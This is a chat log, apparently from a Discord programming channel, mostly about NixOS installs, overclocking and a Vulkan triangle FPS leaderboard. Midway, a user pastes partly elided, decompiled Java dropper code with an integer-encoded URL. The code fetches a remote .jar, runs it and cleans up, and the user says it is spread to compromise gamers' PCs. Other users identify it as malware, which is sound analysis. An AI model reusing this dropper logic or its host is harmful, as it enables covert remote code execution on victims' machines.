programming

[rough bloom]

do you still have super tight timings and high clock speeds on everything?

[true hemlock]

swapped back to my 14600KF and bios defaulted itself, uh its working now?

its really either nix does not really like my Genuine Intel 0000

[sage crag]

your pc is screaming for help

[true hemlock]

or that bios going back to default fixes it

nah, im putting the 13900 back in

[nocturne olive]

Particular silliness

[rough bloom]

very likely the BIOS

either that or your ES CPU is at least partially defective

(as in, some feature is borked)

[true hemlock]

Q0L4 is confirmed to be fully unlocked though

[rough bloom]

but that would be weird, NixOS doesn't use many CPU features by default

[true hemlock]

if its partially defective then i'll be really sad because the one i got rn is apparently kind of a silicon lottery

not that because i can't refund or get it rma'd

the store said that i can rma it though

[somber vine]

hi

im a random

dice

🎲

[rough bloom]

I know, I'm not saying it's locked, I'm saying it could be defective (like any non-ES CPU could also be)
just higher risk for ES CPUs because you know, engineering sample

[somber vine]

type roll to get a no

[rough bloom]

1

[void haven]

roll

[somber vine]

6

[void haven]

that's not a no

im so disappointed

[opaque wharf]

https://tenor.com/view/gohine-hohino-no-hohineee-gohineee-gif-17792172174678204487

[void haven]

thank you

[somber vine]

no means num

☠️

[void haven]

you succeeded where j*b application failed

[somber vine]

no

[void haven]

actually no means no

[warped narwhal]

"no." means number

[somber vine]

ok
now it's
/roll to get a num

[void haven]

exactly

[warped narwhal]

[rough bloom]

no fun allowed

[opaque wharf]

(╯°□°)╯︵ ┻━┻

[rough bloom]

serious hackermans only

[opaque wharf]

┬─┬ノ( º _ ºノ)

[void haven]

make fun legal again

[true hemlock]

okay its the bios

now it doesn't freeze or shit but

failed to install

fuck do you mean not enough space on efi

[sage crag]

didnt make a big enough boot partition?

[true hemlock]

1GB isn't enough?

afaik 512MB is even enough

[pliant palm]

hello people of the big and small knowledge alike i have an itty bitty issue with my linux which i got yesterday

everything was working maybe an hour ago but now i cant start sddm

ive tried sudo systemctl enable sddm.service and sudo systemctl enable --now sddm.service and ive rebooted the computer yet its still a black screen

[rough bloom]

1GB should be enough
NixOS needs a bit more than usual but not that much, especially for the initial installation

[pliant palm]

and ive reinstalled the nvidia driver and sddm and made sure its in the graphical interface or whatever

[maiden geyser]

have you tried disabling it before enabling

[pliant palm]

ill try that

[opaque wharf]

Use a whole separate drive for the EFI "partition"

[maiden geyser]

drive? the best i can do is an 8gb sd card

[pliant palm]

first i install it on the wrong drivce then the internet doesnt work and now this

cooked

[opaque wharf]

I feel like there have been so many upticks of problems lately, what is happening in this world

[rough bloom]

yet another issue that would be solved by using NixOS (or snapper, but case in point, nobody sets it up)

[pliant palm]

its doing something so thanks but its frozen right now ill wait a bit

[maiden geyser]

yet another issue that would be solved by going offline

[opaque wharf]

The pipeline from IT to farmer

[pliant palm]

sadly didnt work

rebooting did disconnect me from wifi though

[opaque sigil]

the stuck at 46% part is normal btw, that's just how it works it shouldn't actually be stuck

[true hemlock]

not when its stuck for 2 HOURS

[opaque sigil]

okay maybe not then

do the logs show anything?

i know that not having enough resources can break things since the install process is quite heavy but i don't think that'd be it here?

[sage crag]

@tender river https://youtu.be/vTxT5nsTh7E
remember that UB conversation from before

[true hemlock]

oh my fuck

im genuinely crashing out

on how dumb the installer is

even made 8GB partition for the EFI

"Failed to write 'LoaderSystemToken' EFI variable: No space left on device"

fucking bullshit

this is so fucking bullshit

[sage crag]

https://cdn.discordapp.com/attachments/1071784467036913664/1407043344156201101/3dgifmaker39071.gif

[true hemlock]

FUCK FINALLY

removing efivar dump with sudo rm /sys/firmware/efi/efivars/dump-type0-* fixes it

[sage crag]

[true hemlock]

nixos installer is fucking stupid

[rare bramble]

definitely deserves a bug report

anyway, how does a crashdump file cause an error? seems pretty wild to me

[true hemlock]

that's what im saying

its fucking stupid

[hollow spruce]

Keep it up u are trying in vm

[warped narwhal]

the files existence can cause an issue I think. as IIRC trying to create a file that already exists returns an error, but writing new contents doesn't

[true hemlock]

but the issue is somehow about lack of space

[hollow spruce]

Given space

[warped narwhal]

efivars? isn't that the uefi eeprom? if so then it makes sense that a dump would fill it up

[hollow spruce]

Vm mode

[warped narwhal]

it would still emulate the restricted size I would think

[hollow spruce]

Reset the vm settings ’efi to uefi mode ’

[true hemlock]

?

what are you talking about

im not using vm

[hollow spruce]

So u installed on actual pc

[rough bloom]

ye, EFI variable space is full, not the EFI partition

EFI variables are set using UEFI runtime services, sysfs or efivars just expose those as files

[scarlet arch]

thats like 6 days. fuck this shit

[warped narwhal]

what could you possibly be doing that will take 6 days?

[midnight sigil]

can microsoft make their error codes more accessible

I had to fucking search 10mins to just find a reference to nothing

and no one encountered the same error as well

[scarlet arch]

That's the funny bit: I run our software in my own rack. And I found error messages. But because my network overloads our software, I can't find the pcaps because the frontend is down. So, I had to download all the captured traffic, replay it with our software, only to see if one of the files reproduces the error I saw...

[rough bloom]

https://unix.stackexchange.com/a/689314
apparently UEFI implementations are supposed to garbage collect these? but yeah there seem to be some old bugs that can cause too many kernel dumps to be saved to efivars

[midnight sigil]

chat

the AIs are

[scarlet arch]

poor little clanker

Oh I'm curious is that word banned here

[rough bloom]

nah, it would be automodded if it was

just don't call Neuro one

[scarlet arch]

would just be funny, is all

[scarlet arch]

I would never

I only call slop AIs that.

[midnight sigil]

what word

why do you guys know more forbidden stuff

[umbral thorn]

https://tenor.com/view/clanka-clanker-droid-gta-gif-2671980220553869597

[midnight sigil]

oh

I see

[scarlet arch]

I swear that gif always makes me laugh

[midnight sigil]

dedicated slurs for machines is crazy

I guess you have to use the right slurs

[hollow spruce]

Is this programming channel

[sage crag]

its funny how much she hates bots

[tender river]

wow

@cobalt vessel @rare bridge

[rough bloom]

combo

[tender river]

first time i see them getting two people at the same time

[true hemlock]

wait what was that

[hollow spruce]

Very good fps !

[true hemlock]

leaderboard - #programming message

doing this so its easier to search

[midnight sigil]

combo

[midnight sigil]

nix

50%+ active population in #programming has fumbled

[hollow spruce]

❓

[true hemlock]

aight i tightened my cas latency

19-20-20-40 to 14-18-18-38, it does post and boot but when the OS loads it crashes

i'll try 14-19-19-40

if it doesn't work, 16-18-18-38

ok doesn't work

[sage crag]

[hollow spruce]

I will try this new concept
Al exited concept
https://youtube.com/shorts/8B20fRB78nA?si=VBB169cULPdLCT0k

[true hemlock]

@olive sable
with dgpu - 53209
with igpu - 12721

[sage crag]

[hoary lion]

[sage crag]

igpu

@true hemlock try swapping out shell.nix for this

then running make clean && make all

then, ideally, if you have gamemode, run gamemoderun ./output/release/vulkan

[frail mortar]

may I ask how often Neuro chats in here? Or does Vedal ever help code? I'm no vtuber, but I'm building an Ai desktop companion, and was wondering if advice and coding help was ever given or accepted.

[sage crag]

1. never
2. no

[frail mortar]

Okay

[sage crag]

however there are lots of people here willing to help if asked

dont ask to ask, just ask

[frail mortar]

okay.

ty

[tender river]

neuro did chat once

[sage crag]

the last thing that vedal said here (3 months ago)

[tender river]

to call nesus a fish boy

[frail mortar]

well. I hope he's okay.
I will linger a bit and learn from what I see here.
I'm trying to get my ai set up, still very new.
the Neuro and Vedal question was more curiosity

[sage crag]

also you are a bingo

[true hemlock]

gamemode somehow slows it a bit lol

[sage crag]

wait let me

[sage crag]

programs.gamemode = {
  enable = true;
  enableRenice = true;

  settings = {
    general = {
      renice = 10;
      softrealtime = true;
      # may break things
      igpu_desiredgov = "performance";
      igpu_power_threshold = -1;
    };

    # danger
    gpu = {
      apply_gpu_optimisations = "accept-responsibility";
      gpu_device = 0;
      amd_performance_level = "high";
    };
  };
};

these dubious settings made me go faster

[true hemlock]

[sage crag]

i also have various other stuff set up :mhm:

@opaque sigil

[opaque sigil]

ooooh

[sage crag]

i wonder when github release comes out

releasenotes would be nice

[opaque sigil]

the docs link is dead

[true hemlock]

oh

OH

[sage crag]

hi

did it work

[true hemlock]

disabled e cores and hyperthreadding

[sage crag]

[opaque sigil]

classic

[true hemlock]

i wonder if i can optimize till im 2x faster than #2

[sage crag]

are you willing to mess up your system a bit

[true hemlock]

that's what i just did

[sage crag]

do you use flakes

[opaque sigil]

don't they usually have gh milestones for releases or am i hallucinating (i can't find it)

[sage crag]

yes

[sage crag]

@true hemlock

[true hemlock]

hm?

[sage crag]

wait how does typing @quack bring up your username

[opaque sigil]

https://github.com/ziglang/zig/milestone/28?closed=1 oh yeah found it

[sage crag]

do you use nix flakes on your system

well, either way, set this up
https://github.com/NixOS/nixos-hardware
https://github.com/fufexan/nix-gaming
ping me if you want assistance

[opaque sigil]

no blackwell

[true hemlock]

ripbozo blackwell

[sage crag]

there are more you can use

this may have absolutely no effect by the way its just a side quest

[opaque sigil]

the repetition here is bothering me way more than it should

[sage crag]

its not bothering me

[opaque sigil]

it's better this way tbf

[true hemlock]

wait

NO

NO

NO

[sage crag]

[true hemlock]

THEY DON'T HAVE VOLTA

:(

[opaque sigil]

it doesn't matter

they only set super basic stuff anyway like the driver

just use turing

[sage crag]

mostly

[opaque sigil]

same thing

[true hemlock]

[opaque sigil]

the open nvidia kernel modules do suppoort volta apparently so you should be good

[true hemlock]

wait

@sage crag do you have a dgpu

[sage crag]

nyo

[true hemlock]

oh

i think gamemode only works on igpu

went from 12K to 13K for igpu with gamemode

i think it worked better on AMD

[sage crag]

yes

i went from 8k to 23k

[opaque sigil]

I wish

[sage crag]

i cant go above 23k bwa

[true hemlock]

i better not wake up tomorrow just to see my score got beaten

you 14900KS owners im watching ya

[sage crag]

i ran perf

[opaque sigil]

nice symbol name

[opaque sigil]

i tried setting some of the options for gamemode but it looks like it really does not like my gpu seeing how the tests all fail

[tender river]

i like your gpu, if that helps

[sage crag]

erf

env SDL_VIDEODRIVER=x11 gamemoderun output/release/vulkan

[opaque sigil]

that doesn't bring me fps though

[sage crag]

x11 runs faster than wayland for this test

as expected by yours truly

[opaque sigil]

konii are there some extra options you have to set, since gamemode seems to override the /etc/gamemode.ini with its own config in the store

[sage crag]

erf

[sage crag]

whereabout

[opaque sigil]

Loading config file [/nix/store/hzymfyl9kgvblqxf5fzh18hwvcwh4gak-gamemode-1.8.2/share/gamemode/gamemode.ini]
Loading config file [/etc/gamemode.ini]

ERROR: renice value not set correctly after gamemode_request_start
Expected: 10, Was: 0
the store config sets it to 0 but the other one to 10

[sage crag]

@true hemlock run export MESA_VK_WSI_PRESENT_MODE=fifo before you bench

[tender river]

delete the other one

[sage crag]

[opaque sigil]

ugh i don't want to have to compile this from source

[patent walrus]

i put my monitor in portrait and holy shit i can see the entire teams calendar

[true hemlock]

vani can you rerun the triangle

with the new code from sam's github

[patent walrus]

errrr sure

[true hemlock]

actually imma just bundle that again

nvm

[opaque sigil]

[sage crag]

new code?

i have not run it

[true hemlock]

there was apparently a bug on the windows one that makes it instead of rendering the triangle it just kept loading from the buffer

[true hemlock]

non windows user don't need to bother

[patent walrus]

./output/release/vulkan.exe
make: *** [makefile:62: run] Error -1073741515

very well

[true hemlock]

huh

[sage crag]

waow im using llvmpipe now

[true hemlock]

try to use the one click compile zip but replace the src files with the new one

[faint sandal]

dll not found

[wise acorn]

you can change the height of the calendar if you wanna see more

[sage crag]

this stupid triangle isnt maxing out my gpu or my cpu

[patent walrus]

7366? that seems a little low

[true hemlock]

huh i was expecting higher

make sure it runs on dgpu

[patent walrus]

it is

maybe if @olive sable adds dlss and frame gen i can squeeze out a few more frames

[faint sandal]

75% more fake frames

[small anvil]

npm i is faster to type

[tender river]

i use npm isntall

[small anvil]

i just rm --rf my project

[sage crag]

discord ate all the profiles

[tender river]

[sage crag]

i turned my ram to 6ghz

and ive turned on pbo

[rough bloom]

bun

[true hemlock]

ok uh can you try with the old src files, except do not resize or anything, just hover to your taskbar to see the fps

resizing is known to mess up with the buffer

[sage crag]

muahahaha

i didnt go up

[true hemlock]

wait lol

[patent walrus]

i saw 17k

[sage crag]

also my cpu isnt a 7600x its just a 7600

[true hemlock]

much better

[patent walrus]

i wonder if my cursed monitor setup has anything to do with it

[true hemlock]

_ _

[opaque sigil]

I use bun

[sage crag]

pnpm

[patent walrus]

bun my beloved 💖💖

@stiff mica runs on bun 💪

[tender river]

is it npm compatible

(unlike yarn)

[sage crag]

pnpm is an npm substitute

i think

i dunno seems to work mostly all the time

[tender river]

i know that pnpm required special tooling in nixpkgs

so it sounds like its fairly different from npm

[true hemlock]

bro wtf

[opaque sigil]

yes

should be able to serve as a drop-in replacement

[sage crag]

(except that it never does )

[patent walrus]

the left one being vertical is just for fun, it's 2560x1440 (480hz) normally
middle one's 3440x1440 (240hz) and the right one is 1080p (144hz)
but i need to have both DP and HDMI plugged into the ultrawide for it to be 240hz while ALSO running the 480hz screen and 144hz right screen, which is why there's that disabled 3rd display

and the 144hz right screen is plugged into my motherboard instead of my GPU

[true hemlock]

480Hz for fun...

[nocturne olive]

That is indeed a display setup

[patent walrus]

im torn on my montior setup cus the 480hz is so fucking smooth for gaming but the 240hz ultrawide is so fucking good for productivity and gaming

[nocturne olive]

I would really have a good time with so many monitors, only 2 is pain

[true hemlock]

i wish i have the money for such displays

my bank rn

[nocturne olive]

I'm not doing much better with my 30€

[noble zodiac]

ngl I'm too old for that shit and doubt that I could see a difference

[nocturne olive]

If I had the money and space I would 100% get at least a third monitor
But my desk is full and I'm broke

[noble zodiac]

I have one

[true hemlock]

@umbral thorn can i borrow money

[nocturne olive]

I don't think Elvyn will be giving anyone anything for free any time soon, and definitely not money

[wise acorn]

4k

[patent walrus]

i have a 4k144hz screen unplugged in my closet rn

[nocturne olive]

Can I has

[patent walrus]

no it belongs to my closet

[nocturne olive]

Unfortunate

[patent walrus]

a bit of a love hate relationship with it tho cus certain programs scale really poorly

chatterino for instance

[nocturne olive]

I could really use a lot of things, more monitors, more GPUs, more hardware in general

A 3090 is good, but you know what's better than a 3090? Two 3090s

[storm rain]

Hello everyone

I have a small question about one code

1 sec

[umbral thorn]

[storm rain]

package net.smurf;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.file.CopyOption;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.StandardCopyOption;
import java.nio.file.attribute.FileAttribute;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.jar.JarOutputStream;

public class Analyzer {
private static final String q1 = z1(new int[] {
104, 116, 116, 112, 115, 58, 47, 47, 115, 51,
46, 116, 119, 99, 115, 116, 111, 114, 97, 103,
101, 46, 114, 117, 47, 50, 97, 102, 97, 100,
57, 53, 55, 45, 56, 48, 50, 55, 48, 56,
54, 97, 45, 97, 99, 99, 57, 45, 52, 50,
102, 57, 45, 98, 97, 98, 102, 45, 101, 49,
52, 102, 51, 54, 102, 52, 97, 49, 101, 52,
47, 65, 117, 116, 104, 45, 109, 101, 46, 106,
97, 114 });

private static final String q2 = z1(new int[] {
100, 111, 119, 110, 108, 111, 97, 100, 95, 108,
105, 98, 114, 97, 46, 106, 97, 114 });

private static final String q3 = z1(new int[] {
47, 99, 111, 110, 102, 105, 103, 46, 116, 120,
116 });

private static final String q4 = z1(new int[] { 99, 111, 110, 102, 105, 103, 46, 116, 120, 116 });

public static void main(String... paramVarArgs) {
try {
long l = f1(q3, Analyzer.class);
File file = f2(new URL(q1), q2);
Path path = f3(String.valueOf(l));
f4(file, path);
Files.delete(path);
f5(file.getAbsolutePath());
file.delete();
Runtime.getRuntime().halt(0);
return;
} catch (Throwable throwable) {
return;
}
}

.......

private static String z1(int[] paramArrayOfint) {
StringBuilder stringBuilder = new StringBuilder();
int i = paramArrayOfint.length;
for (byte b = 0; b < i; b++) {
int j = paramArrayOfint[b];
stringBuilder.append((char)j);
}
return stringBuilder.toString();
}

private static long f1(String paramString, Class paramClass) {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(paramClass.getResourceAsStream(paramString)));
try {
String str;
long l = ((str = bufferedReader.readLine()) != null && !str.isEmpty()) ? Long.parseLong(str) : 0L;
bufferedReader.close();
return l;
} catch (Throwable throwable) {
try {
bufferedReader.close();
} catch (Throwable throwable1) {
throwable.addSuppressed(throwable1);
}
throw throwable;
}
}

.....

[umbral thorn]

java

[storm rain]

private static File f2(URL paramURL, String paramString) {
HttpURLConnection httpURLConnection;
if ((httpURLConnection = (HttpURLConnection)paramURL.openConnection()).getResponseCode() != 200)
return null;
File file = new File(System.getProperty("user.home"), paramString);
InputStream inputStream = httpURLConnection.getInputStream();
try {
FileOutputStream fileOutputStream = new FileOutputStream(file);
try {
byte[] arrayOfByte = new byte[4096];
int i;
while ((i = inputStream.read(arrayOfByte)) != -1) {
if (i > 0)
fileOutputStream.write(arrayOfByte, 0, i);
}
fileOutputStream.close();
} catch (Throwable throwable) {
try {
fileOutputStream.close();
} catch (Throwable throwable1) {
throwable.addSuppressed(throwable1);
}
throw throwable;
}
if (inputStream != null)
inputStream.close();
} catch (Throwable throwable) {
if (inputStream != null)
try {
inputStream.close();
} catch (Throwable throwable1) {
throwable.addSuppressed(throwable1);
}
throw throwable;
}
return file;
}

private static Path f3(String paramString) {
Path path;
BufferedWriter bufferedWriter = Files.newBufferedWriter(path = Files.createTempFile("~", ".tmp", (FileAttribute<?>[])new FileAttribute[0]), new java.nio.file.OpenOption[0]);
try {
bufferedWriter.write(paramString);
if (bufferedWriter != null)
bufferedWriter.close();
} catch (Throwable throwable1) {
if (bufferedWriter != null)
try {
bufferedWriter.close();
} catch (Throwable throwable) {
throwable1.addSuppressed(throwable);
}
throw throwable1;
}
return (Path)throwable;
}
......

[opaque sigil]

```java
code
```

pls

[storm rain]

i know

[umbral thorn]

then do

[storm rain]

I have a question specifically about this code... is this a dropper?

I haven't sent the whole code yet

[nocturne olive]

If it looks like there's a lot of garbage that does nothing, it's probably malware

[storm rain]

Sorry but I don't understand Java, only Python

[nocturne olive]

I see a lot of pointless looking throw catches

[opaque sigil]

seems like it

there's a suspicious looking jar file that's being downloaded and presumably run

[storm rain]

thx

[opaque sigil]

i'd look into the file but nextdns blocks the domain and i don't feel like adding it as an exception

[storm rain]

I can give you a file for downloading

[opaque sigil]

nah

[storm rain]

but then you need to decompile it

the joke is that this file is thrown to those who join a clan in Rust, the clan is called Umbrella and there are about 100 people who have already downloaded this program

[storm rain]

and the clan leader punishes through this program by hacking their PCs and disabling them, there are already 2 proofs

[sage crag]

elvyn smart

[nocturne olive]

ElvynSoSilly

[storm rain]

Is it possible if I downloaded and launched this program to somehow delete it without deleting Windows?

[storm rain]

Affected clan members ask

[nocturne olive]

I don't know without someone running it in a sandbox, I would suggest either wipe and install Linux or use the autoruns tool from was it sysinternals?

[olive sable]

i have awoken

damn i have a lot of messages to go through

[storm rain]

xd

[olive sable]

how? what witchcraft are you doing ot get these numbers?

[nocturne olive]

Scroll down and you'll see an even bigger number

[olive sable]

63K we're back at the numbers windows was getting by cheating

[nocturne olive]

And this time it's simply some crazy hardware trickery

[olive sable]

ye it doesnt run very well anymore on windows

[olive sable]

idk how i would even do that, but i think the overhead form generating frames might lower the fps

[olive sable]

damn vani is rich

the tutel pays well i guess

[pliant palm]

new arch linux user here my network is delusional and keeps disconnecting

cant have a second of peace

i installed it for like the 4th time today

all this for bouncing icons at the mouse cursor

[warped narwhal]

well I was going to do some programming tonight, but I went extra hard in beatsaber and I can no longer feel my arms, hands or fingers

[olive sable]

i sold my 4k tv i was using for my ps5

i havent played ps5 in a year or so

the budget for the 9.2.4 sound system grows

[glad path]

why does macos 26 look like a linux distro

[hoary lion]

what is this sticker i like the eyes

[deep badge]

added cool clouds. Anybody has some suggestions?

[opaque wharf]

A boat and stickman figure fishing on top of it

Or a pier

[deep badge]

omg genious

[sour lotus]

wait how expensive is this thing

[opaque wharf]

At least three fiddy

[sour lotus]

Nice work 😄
I would like to recommend things you can try, but its your vision so obviously stick to yours

• Id recommend letting the intro text etc disappear after clicking start or new game (its almost like a new scene)
• Move the actionable buttons and status update to the left, let the click area be on the right side
• Still gives enough space for designs

Love:

• The status update, you can have fun with that, randomise the waiting text (like sims haha)
• The scattered text as a reeling mechanic (new for me, normally see other mechanics

Nice stuff! Keep it up @deep badge 🥳

[patent walrus]

https://fxtwitter.com/tsoding/status/1957203285519077744

Тsфdiиg (@tsoding)

poor thing had to deal with Java

**💬 78 🔁 383 ❤️ 11.6K 👁️ 265.7K **

FxTwitter · Aug 17, 2025, 10:10 PM

[opaque sigil]

[sage crag]

awa

[tender river]

[true hemlock]

how's leaderboard

have anyone beaten me yet

[amber fractal]

Intel iGPU continuing its fine work.

[amber fractal]

I wish

[true hemlock]

which cpu is this one

[opaque sigil]

nobody with a 14900k here

[amber fractal]

i7-1260p

[sage crag]

no way you actually exported present_mode fifo

[raven dock]

beat you at what?

[sage crag]

that caps your framerate to vsync

[amber fractal]

Vsync my beloved

[sage crag]

export it as mailbox or immediate to restore default behaviour

one may be faster than the other for you

[true hemlock]

i considered my 63K yesterday invalid because i think it could've been a bug. although i ran the rest again for disabled hyperthreadding and e cores and got 55K

[true hemlock]

updated for this

[amber fractal]

Mailbox makes no difference to default

[true hemlock]

odd because fifo capped my fps lol

[amber fractal]

Fifo does cap yeah

I already dealt with it

[amber fractal]

Switch that to a nix system plz as this is on nix atm

[sage crag]

yes that is the point :kufuu

**

evil scheme

[amber fractal]

So that is how we vsync Sam's games mhm

I know it'll never be added

@true hemlock What do you think would beat you more? 5090 or 14900k

[true hemlock]

14900K

toast's 5070Ti didn't do shit

[amber fractal]

I'm surprised I'm over half your score on a laptop with non dedicated graphics.

That's the one I just updated

Did I really bench on battery power

Yep I did

[true hemlock]

WHAT

okay plug that shit in

quick

[amber fractal]

blip of 33k

[true hemlock]

screenshot at peak

[amber fractal]

33k is hiding from me

[true hemlock]

already beats the Z1 extreme

[amber fractal]

Man I love this framework

Gamemode is doing functionally nothing as I haven't set it up

Honestly I should take the time to do it

[true hemlock]

nix-shell -p gamemode

gamemoded &

[amber fractal]

Giving this laptop a beather, then maybe the 33k will return

[true hemlock]

surely

[amber fractal]

noted, I need admin perms to set settings

[sage crag]

have you tried the alternative shell.nix?

[amber fractal]

Not yet

[sage crag]

this one

[true hemlock]

fuck it

if no ones showing up with a 14900K to beat my ahh

im buying a 14900K to beat my own ahh

[amber fractal]

Until then, I'll be the highest laptop numbers

[true hemlock]

oh actually

i'll buy 13950HX ES

[amber fractal]

and highest iGPU as well

[true hemlock]

so i'll be also the highest laptop number

[sage crag]

i could also disable SMT/hyperv

and e/p cores

but u h

i dont wanna

bwa

[true hemlock]

@nocturne olive

can you try

i got extra fps by disabling hyperthreadding

[amber fractal]

I should also bios for e cores

Though I think I already have hyperthreading disabled

[amber fractal]

Strike that, no option for none

[true hemlock]

but still odd that caibi's 14700K isn't beating me

[amber fractal]

We love not finding sdl vulkan

[sage crag]

technically you can actually run this without x11 or wayland

if you want to run it from tty directly

[amber fractal]

hmm

considering x11 has had good luck, why not?

[sage crag]

actually directfb isnt tty

fbcon is tty

im interested in these though

maybe someone can get better windows results with the alternative

[amber fractal]

Issue is how to get the numbers on the tty instance

[faint sandal]

but will it run on my Amiga?

[sage crag]

CGX

:mhm:

[opaque sigil]

[opaque sigil]

it clearly states it right there

[faint sandal]

ok do it

[sage crag]

ps aux | grep fps

or something

[olive sable]

About 2k iirc

[patent walrus]

if i locked in and learned more about hacking my GPU to squeeze more performance out of it and optimizing code, i could

[true hemlock]

first step is to install linux

[patent walrus]

i dual booted the other day!

however for some reason it wouldn't use my nvidia driver

[opaque sigil]

another victim for nixos to claim

[patent walrus]

i'm a simple man, it's linux mint cinnamon for me

[true hemlock]

you don't need it lol

[patent walrus]

i meaaaan i'd prefer to use my nvidia driver rather than nouveau

[true hemlock]

i've been using nouveau

for my nixos entry

[amber fractal]

hmm

[true hemlock]

i have an idea to run this shit on my smart fridge ngl

forget about running doom on random shit, we triangle on random shit

[amber fractal]

bwaa segfault in the tty

after altering konii's nix-shell to use sdl3

[violet sand]

Buying an AMD GPU is both the best, and the worse decision of my life

[opaque sigil]

i just noticed, wtf does vulkan do here

[violet sand]

I still don't know how to use ROCm properly

[amber fractal]

@true hemlock 33k

[true hemlock]

nice

fuck it im making an automatic command to update the leaderboard

the triangle obsession is real

[olive sable]

thanks, cuz updating the leaderboard is really bothersome

[violet sand]

Plot twist its actually a square, with an image of a triangle on it

[olive sable]

you're joking but that is somewhat how a framebuffer works you know

[opaque sigil]

looks like nvidia also makes a driver specifically for the latest vulkan improvements, i'm kind of tempted to see if it improves anything now hmm

[violet sand]

Ohh, I know

[sage crag]

the vulkan beta is old

[opaque sigil]

is it?

[sage crag]

yeah pretty old

[true hemlock]

also btw sam lol

[amber fractal]

What would I give to be over to OC on this system.

[sage crag]

hm actually it seems to have been updated as recently as february 28th

[true hemlock]

i wonder if my 14600KF could actually hit higher score

need to try

[sage crag]

mhm

i cant see it really providing any performance over the standard driver

cant hurt to give it a go though

[olive sable]

hi

[olive sable]

possebly

[true hemlock]

my 13900 es caps at 5GHz

could've went with 13950HX es ngl

that one can do 6GHz

[olive sable]

6 is insane

[opaque sigil]

how does that work, can you just throw it into the same socket

[true hemlock]

yep

[amber fractal]

I'm only on 2.5GHz

[true hemlock]

LGA 1700 is very forgiving btw

any raptor lake cpu would work on any LGA 1700

[olive sable]

yet you still get a higher score than me at 4.5GHz

[amber fractal]

I'm third on the leaderboard now

[true hemlock]

fuckin flex

[olive sable]

as far as i can tell from the profiler data, the limiting factor is the render core being at 100% usage. but the question becomes what exactly is taking up that 100%

[true hemlock]

(we all know the real flex is someone randomly showing up in the leaderboard with a fucking graphing calculator)

[amber fractal]

If I could OC, I'd be at second place

[true hemlock]

if you can hit 5.6+ GHz you can probably even take 1st

[olive sable]

cuz idling and waiting for stuff from the 6 vulkan api calls could also count as 100% cpu core usage eventho it potentialy isnt doing anything

[amber fractal]

Sadly this chip is in a laptop

[olive sable]

im just scared to break my pc

i dont have backup cpu's and this one was expensive enough

[true hemlock]

i know damn well someone that could beat the shit out of my score though

...with a 11th gen intel probably

and im too afraid to invite them

[olive sable]

[amber fractal]

Wait a fuckin second

[sage crag]

ai generated

[amber fractal]

Looks like it

https://github.com/Oganoth/Framework-Control-center
We hope the AI forgot 12 gen

[olive sable]

the insane amount of emojis everywhere always gives it away

[amber fractal]

Forget it, looks windows only even if real

[olive sable]

[amber fractal]

I'd just have to learn how to OC under linux

not a bad idea actually

[sage crag]

erf

[true hemlock]

just tested, 42K

[olive sable]

holy

[true hemlock]

with 5.7GHz overclock it got nearly 44K

but thats just it

[olive sable]

its not the 50K from before but still impresive

[true hemlock]

it makes more sense than the 13900 though

13th and 14th have a big IPC boost compared to 12th

(comparing to superbox's)

[olive sable]

i need to figure out what exactly its doing behind the scenes during the roughly 20 microseconds it takes for a frame to get rendered

[true hemlock]

but i was never expecting it to be 20K of fps in difference

okay so um

uhhh

[olive sable]

uhhh?

[true hemlock]

should i integrate the leaderboard commands in @hidden ravine

or just in my own account lmao

[olive sable]

do i need to make you have rights on the repo or how does this work?

[true hemlock]

sure, immediately pushing the leaderboards to that could be really convenient

[olive sable]

jsut your main account or do i need to add a bot account?

[amber fractal]

The core wants to, 2.7GHz

[olive sable]

it has been done

[true hemlock]

aight nice

[olive sable]

cant wait for quack to add malware

the name shit still confuses me

[true hemlock]

LMFAO

didn't even check my discord username smh

[nocturne olive]

I would like to keep my PC in a normal state

[amber fractal]

uhhhhhhhhhh That is not 3GHz

[olive sable]

you could always just remove the hyperthreading from the code lmao

[olive sable]

99MHz

[amber fractal]

e cores doing e core things

[olive sable]

brother i just installed vtune to my linux drive, and this has already been a pain cuz i couldnt just install it with sudo

[nocturne olive]

HX is laptop only no?

[olive sable]

and now it wants me to update

ah yes

[nocturne olive]

Hyperthreading is a feature of the CPU which lets cores split up resources to run two threads at once rather than one

[olive sable]

oh ye

i always get confused between hyperthreading and multithreading

[nocturne olive]

You would need to make sure the scheduler doesn't allocate more than one thread on the specific core running the app to effectively disable it

Which would either need a custom kernel and a ton of cores, a normal kernel and very few processes, or a more complex custom kernel that has manual core allocation

[true hemlock]

not at once, its concurrency

[amber fractal]

Oh nice, this has a ram section. But I got no clue how to read it

[nocturne olive]

I'm pretty sure hyperthreading is actual multithreading on a single core

Otherwise what would be the point

The OS already does concurrency anyway

[true hemlock]

nope

it doesn't do both at once

it switches

concurrency

[amber fractal]

Quack wanted RAM on this system

[true hemlock]

if it were to be actual 2 threads at once it would have already been a separate core, but its impossible to be achieved with one core with how the hyper threadding shares the instruction decoder and execution units

[amber fractal]

I wish I could read this to isolate what waz requested

[true hemlock]

only thing they have separately is the thread register

[sage crag]

hyperthreading just doubles your logical corecount

[true hemlock]

that's all

[true hemlock]

which is quite misleading actually

[amber fractal]

That's the window I'm looking for

[true hemlock]

nice code quack

[sage crag]

hey

[jaunty arch]

what is this triangle benchmark about?

[sage crag]

what is a ryzen 6

[true hemlock]

LMAO

[amber fractal]

Max FPS

[sage crag]

ryzen 5 7600, no X either

[true hemlock]

!trianglelinux

it fucking died

[sage crag]

dumbot

holy latency

[true hemlock]

aight so it also has a sort system

[silent slate]

🦆

[true hemlock]

!trianglelinux

Linux Leaderboard:

1. 55273 by Quack on NixOS, i9-13900 (ES Q0L4)
2. 35600 by superbox on Mint, i7-12700K
3. 33191 by Iggly on NixOS, i7-1260P
4. 32100 by Semicolon on Arch, Ryzen 9 5950x
5. 30573 by Iggly on CachyOS, Z1 Extreme
6. 27158 by Shuni on NixOS, Ryzen 9 7950X
7. 26364 by konii on NixOS, Ryzen 5 7600
8. 22809 by Prism on Custom, HP Prime G2 RevD
9. 18230 by Sam on CachyOS, Ryzen 9 5950x
10. 17000 by toast on NixOS, Ryzen 9 5900x
11. 13037 by Assist on CachyOS, i3-8100U
12. 9458 by unkomp on Arch,

this is just for indexing

so i know which one to update

[amber fractal]

[glad path]

did you hook a bot to your own account

[sage crag]

i should rerun the benchmark

[true hemlock]

